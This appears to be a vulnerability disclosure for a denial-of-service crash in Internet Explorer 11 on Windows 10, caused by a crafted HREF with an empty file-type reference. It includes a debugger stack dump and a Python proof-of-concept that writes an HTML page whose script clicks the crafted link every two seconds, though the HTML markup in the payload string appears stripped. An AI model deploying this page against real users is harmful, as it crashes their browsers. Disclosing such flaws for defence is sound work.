InternetExplorer Denial of Service (crash) when MSIE encounters an specially crafted HTML HREF tag containing an empty reference for certain Windows file types.
Details to Reproduce
A null pointer de-reference (read) results in an InternetExplorer Denial of Service (crash) when MSIE encounters an specially crafted HTML HREF tag containing an empty reference for certain Windows file types. Upon IE crash it will at times daringly attempt to restart itself, if that occurs and user is prompted by IE to restore their browser session, then selecting this option so far in my tests has shown to repeat the crash all over again. This can be leveraged by visiting a hostile webpage or link to crash an end users MSIE browser.
Referencing some of the following extensions .exe:, .com:, .pif:, .bat: and .scr: should produce the same :)
Stack Dump:
(2e8c.27e4): Access violation — code c0000005 (first/second chance not available) ntdll!NtWaitForMultipleObjects+0x14: 00007ffabe5f0e14 c3 ret 0:015> r rax=000000000000005b rbx=0000000000000003 rcx=0000000000000003 rdx=000000cca6efd3a8 rsi=0000000000000000 rdi=0000000000000003 rip=00007ffabe5f0e14 rsp=000000cca6efcfa8 rbp=0000000000000000 r8=0000000000000000 r9=0000000000000000 r10=0000000000000000 r11=0000000000000246 r12=0000000000000010 r13=000000cca6efd3a8 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!NtWaitForMultipleObjects+0x14: 00007ffabe5f0e14 c3 ret
CONTEXT: (.ecxr) rax=0000000000000000 rbx=000001fd4a2ec9d8 rcx=0000000000000000 rdx=00007ffabb499398 rsi=000001fd4a5b0ce0 rdi=0000000000000000 rip=00007ffabb7fc646 rsp=000000cca6efe4f8 rbp=000000cca6efe600 r8=0000000000000000 r9=0000000000008000 r10=00007ffabb499398 r11=0000000000000000 r12=0000000000000000 r13=00007ffabb48d060 r14=0000000000000002 r15=0000000000000001 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 KERNELBASE!StrCmpICW+0x6: 00007ffabb7fc646 450fb70b movzx r9d,word ptr [r11] ds:0000000000000000=???? Resetting default scope
FAULTING_IP: KERNELBASE!StrCmpICW+6 00007ffa`bb7fc646 450fb70b movzx r9d,word ptr [r11]
EXCEPTION_RECORD: (.exr -1) ExceptionAddress: 00007ffabb7fc646 (KERNELBASE!StrCmpICW+0x0000000000000006) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 0000000000000000 Parameter[1]: 0000000000000000 Attempt to read from address 0000000000000000
DEFAULT_BUCKET_ID: NULL_POINTER_READ PROCESS_NAME: iexplore.exe
Exploit/POC:
1) Run below python script to create “IE-Win10-Crasha.html” 2) Open IE-Win10-Crasha.html in InternetExplorer v11.371.16299 on Windows 10
payload=(‘ \n’+ ‘
MSIE v11.371.16299 Denial Of Service by hyp3rlinx \n’+ ‘crashy ware shee\n’+ ‘ \n’+ ‘Tested successfully on Windows 10\n’+ ‘\n’ ‘function doit(){\n’+ ‘document.getElementById(“hate”).click();\n’+ ‘alert(“DOH!”);\n’+ ‘}\n’+ ‘setInterval(“doit()”, 2000)\n’+ ‘’)
file=open(“IE-Win10-Crasha.html”,”w”) file.write(payload) file.close()
print ‘MS InternetExplorer (Win 10) ‘ print ‘Denial Of Service File Created.’ print ‘Humayun Ali Khan’
